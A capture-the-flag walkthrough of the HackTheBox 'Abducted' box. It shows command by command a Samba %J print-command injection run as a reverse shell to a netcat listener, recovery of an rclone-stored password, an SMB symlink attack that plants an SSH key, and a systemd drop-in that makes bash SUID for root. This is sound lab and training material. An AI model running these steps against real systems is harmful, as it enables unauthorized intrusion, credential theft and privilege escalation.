
🔴 HackTheBox Abducted (Medium) — CVE-2026-4480 (Samba %J) → rclone reveal → SMB-Symlink → systemd Drop-in → Root
** Difficulty: ** Medium · ** Operating System: ** Linux · ** Category: ** Samba CVE / Privilege Escalation
By @timgad794
Abducted simulates a compromised local file and print server in a professional services environment. The box chains a Samba print-subsystem vulnerability (CVE-2026-4480), an rclone credential leak, an SMB symlink attack, and a systemd drop-in privilege escalation.
Exploit Chain:
Recon (nmap) → SMB enum (HP-Reception printer share)
→ CVE-2026-4480 (Samba %J command injection) → RCE as nobody
→ /opt/offsite-backup/rclone.conf (obfuscated password)
→ rclone reveal → cleartext password
→ SSH as scott → User Flag
→ SMB symlink via "wide links" + "force user = marcus" → SSH as marcus
→ systemd drop-in (smbd.service.d) → SUID bash → root
Initial Nmap scan: Nmap Scan
Reverse shell as nobody: Reverse Shell
Root shell with SUID bash: Root Shell
echo "10.129.244.177 abducted.htb" | sudo tee -a /etc/hosts
nmap abducted.htb -sCV -A -oN abducted-nmap.txt
Results:
| Port | Service | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH 9.6p1 Ubuntu |
| 139/tcp | netbios-ssn | Samba smbd 4 |
| 445/tcp | netbios-ssn | Samba smbd 4 |
3 open TCP ports — a Linux file and print server.
smbclient -L //abducted.htb -N
Ausgabe:
Sharename Type Comment
--------- ---- -------
HP-Reception Printer Reception printer
projects Disk Hartley Group Project Files
transfer Disk Staff file transfer
IPC$ IPC IPC Service (Hartley Group Document Services)
Key findings:
HP-Reception — printer share with guest accesstransfer — file transfer share (used later for the symlink attack)Samba passes the client-controlled print job description to the print command via the %J placeholder without escaping shell metacharacters. This allows unauthenticated attackers to execute arbitrary commands as the print service account.
git clone https://github.com/TheCyberGeek/CVE-2026-4480-PoC.git
cd CVE-2026-4480-PoC
cat exploit.py | head -30
Terminal A:
nc -lvnp 8443
Terminal B:
cd ~/CVE-2026-4480-PoC
python3 exploit.py 10.129.244.177 10.10.16.96 8443 -P HP-Reception
Expected output:
[*] target : 10.129.244.177 (\\10.129.244.177\HP-Reception)
[*] callback : 10.10.16.96:8443
[+] print job submitted -- check your listener
Terminal A:
Connection received on 10.129.244.177 ...
nobody@abducted:/var/spool/samba$
We now have RCE as nobody (uid=65534).
id
# uid=65534(nobody) gid=65534(nogroup)
cat /etc/passwd | grep -E "bash|sh$"
# → root, scott, marcus
find / -type f -name "rclone.conf" 2>/dev/null
# → /opt/offsite-backup/rclone.conf
cat /opt/offsite-backup/rclone.conf
Ausgabe:
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix
rclone uses reversible base64 obfuscation. Use rclone itself:
# On Kali (not inside the shell)
sudo apt install -y rclone
rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
Ausgabe:
iXzvcib3SrpZ
scottssh [email protected]
# Password: iXzvcib3SrpZ
Login successful!
id
# uid=1000(scott) gid=1001(scott)
cat ~/user.txt
# 🟢 User Flag
scott → marcusThe transfer share in /etc/samba/shares.conf contains:
[transfer]
path = /srv/transfer
force user = marcus
wide links = yes
...
Meaning:
force user = marcus — every file operation runs as marcuswide links = yes — symlinks may point outside the share directoryAs scott in the SSH session:
# SSH keypair in scott's home (not /tmp — nobody owns files there)
ssh-keygen -q -t ed25519 -N '' -f ~/k
# Symlink to marcus's home
ln -s /home/marcus /srv/transfer/keys
# Upload public key — ABSOLUTE paths required (smbclient does not expand tilde)
smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
-c 'put /home/scott/k.pub keys/.ssh/authorized_keys'
Verification:
smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
-c 'get keys/.ssh/authorized_keys /tmp/ak'
diff /tmp/ak /home/scott/k.pub && echo "KEYS MATCH"
ssh -i /home/scott/k -o StrictHostKeyChecking=no marcus@localhost
id
# → uid=1001(marcus) groups=1002(marcus),1000(operators)
Important: operators is the key group for escalation.
marcus → rootfind / -group operators 2>/dev/null
# → /etc/systemd/system/smbd.service.d
ls -ld /etc/systemd/system/smbd.service.d/
# drwxrws--- 2 root operators
The operators group has write access to the systemd drop-in directory of the smbd service.
As marcus:
cat > /etc/systemd/system/smbd.service.d/daffy.conf << 'EOF'
[Service]
ExecStartPre=/bin/bash -c 'chmod +s /bin/bash'
EOF
Reload + restart (polkit allows operators to run daemon-reload without a password):
systemctl daemon-reload
systemctl restart smbd
/bin/bash -p
id
# → euid=0(root)
cat /root/root.txt
# 🔴 Root Flag
Box fully compromised. ✅
| Flag | Path |
|---|---|
| 🟢 User | /home/scott/user.txt |
| 🔴 Root | /root/root.txt |
| Concept | Application |
|---|---|
| CVE-2026-4480 | Samba %J print-command injection → RCE |
| rclone Deobfuscation | rclone reveal for reversible base64 obfuscation |
| Password Reuse | svc-backup password works for scott too |
| SMB Symlink Attack | wide links = yes + force user = marcus |
| systemd Drop-in Hijack | Write access to smbd.service.d → ExecStartPre |
| SUID Bash | chmod +s /bin/bash + /bin/bash -p → euid=0 |
| polkit Bypass | operators group may daemon-reload without auth |
This writeup documents an authorized penetration test on the HackTheBox platform only. All credentials and flags are part of the lab environment and not production systems.
⭐ If this writeup helped you, feel free to leave a star!